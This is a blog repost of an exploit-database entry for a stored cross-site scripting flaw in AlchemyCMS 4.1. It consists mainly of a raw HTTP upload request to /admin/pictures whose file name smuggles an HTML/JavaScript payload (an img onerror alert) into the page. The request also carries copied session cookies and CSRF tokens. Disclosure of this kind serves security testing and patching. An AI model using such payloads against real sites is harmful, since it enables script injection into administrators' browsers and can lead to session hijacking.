Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86398756

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: AlchemyCMS 4.1 - Cross-Site Scripting
# Date: 2018-10-14 
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://alchemy-cms.com/
# Software Link : https://github.com/AlchemyCMS/alchemy_cms
# Software : AlchemyCMS
# Version : 4.1-stable
# Vulernability Type : Cross-site Scripting
# Vulenrability : Stored XSS
# CVE : N/A

# A Stored XSS vulnerability has been discovered in version 4.1.0 of AlchemyCMS via the /admin/pictures image field.
 
# HTTP POST Request :

POST /admin/pictures HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://TARGET/admin/pages/80/edit
X-CSRF-Token: E6zZ6vohGua9Q0arzQVTUTmq/fJw48xBnkmfQeYxILYtmRAhDcxkaV5FeGyajgOtSXMs7r9xms7Wo44PEP9HTg==
X-Requested-With: XMLHttpRequest
Content-Length: 1574870
Content-Type: multipart/form-data; boundary=---------------------------10875577401849011681645409128
Cookie: _alchemy_demo_session=%2BSKdSGUIZALtIkYucZKu36eXcVTh4kSCFKjcxqLyFnd%2B5C87xtdx6%2B4Zkjy31YpXRzXI1nwu3BsIvI9v6eYio%2BOh1S3Kb1wd3YcARJTGJeK8ByX9N45trldIwmxK09FqDTMv897K3%2F%2Fe05YiJUEwz2jGkuXkiaxk37AHmjuJNtSNwLfGwAakOWN%2FKQvqAbl%2BMWV9crpeUuq66p6%2Bar1WmGmRcNDqUcfnDFfLmNa8%2BlCBNjieI5N0kpAv2xBJ30EZqoxee13TmKhvPoU4m3UehLKToa8gW5tCQQy7N3BF6ipZa5H1l16%2FxzwPEJl37F3T5%2F%2FkFr4JOxtYSiH9Nd1itpJjMBSZkGAou49SZoBq%2F23r%2BbENN81HrstL2TlaHkxeFdivOnAjBgwpst1qj570WU22FOQeKo80fWnARs23lCHAJy2RyY8dENcpagIQUgdbxqlCaEDqcUnnroZj0g8mhjG%2FdD2cLdym3usSVBmLoiVIPTcHf5T%2FavLUpF6PC0hUwgNEwgNZKzunlPl8tr17e9t9--RjgT8BiSM30kK4WY--s%2BPgcdnz62DCJTK14z5aag%3D%3D; __atuvc=3%7C42; __atuvs=5bc38ae909d900c3002
Connection: close

-----------------------------10875577401849011681645409128
Content-Disposition: form-data; name="utf8"

â
-----------------------------10875577401849011681645409128
Content-Disposition: form-data; name="authenticity_token"

GqjmyJ8FM+6rE6IIK5Or6Znszlg8ilvkUKsYJsqT3l3Cl7GAKn8L6xoCio55o9IaxztHwOKOSsRHz5vb4LTOGA==
-----------------------------10875577401849011681645409128
Content-Disposition: form-data; name="picture[upload_hash]"

2507832911685091350
-----------------------------10875577401849011681645409128
Content-Disposition: form-data; name="picture[image_file]"; filename="\"><img src=x onerror=alert(\"ismailtasdelen\")>.jpg"
Content-Type: image/jpeg